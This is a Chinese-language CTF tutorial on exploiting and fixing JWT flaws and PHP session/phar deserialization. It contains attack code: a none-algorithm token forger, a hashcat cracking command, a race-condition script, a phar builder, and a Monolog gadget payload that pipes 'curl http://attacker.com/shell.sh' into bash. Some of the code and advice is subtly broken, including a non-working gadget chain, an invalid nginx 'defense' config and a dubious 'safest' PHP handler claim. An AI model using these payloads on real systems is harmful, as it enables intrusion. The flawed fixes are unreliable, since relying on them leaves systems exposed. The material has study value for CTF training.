CTF Web 漏洞复现:3 类 JWT 与 Session 反序列化漏洞的利用与修复 CTF Web漏洞实战JWT与Session反序列化的攻防艺术1. 漏洞背景与核心概念在当今的Web安全领域JSON Web TokenJWT和Session反序列化漏洞已成为CTF比赛和实际渗透测试中的高频考点。2024年DASCTF X GFCTF等大型赛事中这两类漏洞多次出现在高价值目标系统中。JWT本质上是一种开放标准RFC 7519用于在各方之间安全传输JSON对象。其典型结构由三部分组成Header.Payload.Signature而Session反序列化则是由于不当处理用户可控的序列化数据导致攻击者能够注入恶意对象并触发危险操作。PHP的session.serialize_handler机制尤其容易成为攻击目标。2. JWT漏洞的三大攻击面2.1 算法篡改攻击CVE-2015-9235当开发者未强制指定签名算法时攻击者可将算法改为none实现未授权访问import jwt # 原始合法token original_token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c # 篡改算法为none malicious_token jwt.encode( jwt.decode(original_token, verifyFalse), key, algorithmnone ) print(f恶意Token: {malicious_token})防御方案服务端强制校验算法类型使用白名单限制允许的算法2.2 密钥爆破攻击弱密钥是JWT的致命弱点使用hashcat可快速爆破hashcat -m 16500 jwt.txt rockyou.txt -O推荐密钥强度要求密钥类型最小长度推荐算法HMAC256位HS512RSA2048位RS512ECDSA521位ES5122.3 头部参数注入利用jwk或jku参数注入恶意公钥{ alg: RS256, typ: JWT, jwk: { kty: RSA, n: malicious_modulus, e: AQAB } }关键防御禁用动态公钥加载使用预置密钥对3. Session反序列化漏洞实战3.1 PHP序列化机制解析PHP的序列化格式示例O:4:User:2:{s:8:username;s:5:admin;s:6:isAdmin;b:1;}危险函数调用链__wakeup() - __destruct() - __toString()3.2 利用Gadget链攻击以经典的Monolog/RCE链为例?php namespace Monolog\Handler { class SyslogUdpHandler { protected $socket; function __construct($cmd) { $this-socket new \Monolog\Handler\BufferHandler($cmd); } } class BufferHandler { protected $handler; protected $bufferSize -1; function __construct($cmd) { $this-handler $cmd; } } } namespace { $payload new \Monolog\Handler\SyslogUdpHandler(curl http://attacker.com/shell.sh | bash); echo serialize($payload); }3.3 防御矩阵防护措施实施方法有效性禁用危险魔术方法重写__wakeup等为空方法★★★☆☆使用json序列化session.serialize_handlerjson★★★★☆签名校验对序列化数据添加HMAC签名★★★★★白名单类限制只允许基础数据类型和指定类★★★★☆4. 高级利用技巧4.1 JWT与Session组合攻击当系统同时使用JWT和Session时可能产生意想不到的攻击面通过JWT泄露获取Session ID篡改JWT影响Session反序列化逻辑利用时间差进行条件竞争攻击import requests import threading def race_condition(target): while True: r requests.post(target, cookies{SESSION: malicious_serialized}, headers{Authorization: Bearer forged_jwt} ) if flag{ in r.text: print(r.text) break threads [threading.Thread(targetrace_condition) for _ in range(20)] [t.start() for t in threads]4.2 内存破坏进阶利用在PHP 7.4环境下可结合use-after-free漏洞实现更稳定的利用struct _zend_string { zend_refcounted_h gc; zend_ulong h; size_t len; char val[1]; }; // 通过精心构造的序列化数据操纵内存布局5. 自动化检测方案5.1 JWT检测工具链# 使用jwt_tool进行自动化扫描 python3 jwt_tool.py -t https://target.com/api \ -rc jwttool_custom_checks.json \ -M pb -cv roleadmin5.2 反序列化漏洞扫描集成GadgetInspector的检测流程1. 收集目标依赖库 2. 构建调用关系图 3. 识别危险方法链 4. 生成POC验证6. 修复指南与最佳实践6.1 JWT安全配置清单# Nginx配置示例 location /api { # 强制校验签名算法 set $jwt_alg HS256; # 拒绝无签名token if ($http_Authorization ~* none) { return 403; } # 密钥轮换机制 set $jwt_secret v2_$(date %Y%W); }6.2 PHP安全配置php.ini关键配置[session] serialize_handler php_serialize # 最安全选项 upload_progress.cleanup On # 防止临时文件竞争7. 实战案例复盘分析2024年DASCTF中一道典型题目漏洞点JWT头部注入PHP Phar反序列化利用链修改JWT的kid参数指向恶意phar文件触发phar://协议反序列化防御突破绕过open_basedir限制使用SplFileObject进行文件读取// 最终payload构造 $phar new Phar(exploit.phar); $phar-startBuffering(); $phar-addFromString(test.txt, text); $phar-setStub(?php __HALT_COMPILER(); ?); $phar-setMetadata($serialized_payload); $phar-stopBuffering();在防御层面建议采用深度防御策略前端实施严格的CSP策略网络层WAF规则拦截异常序列化数据应用层定期依赖库漏洞扫描运维层文件系统权限最小化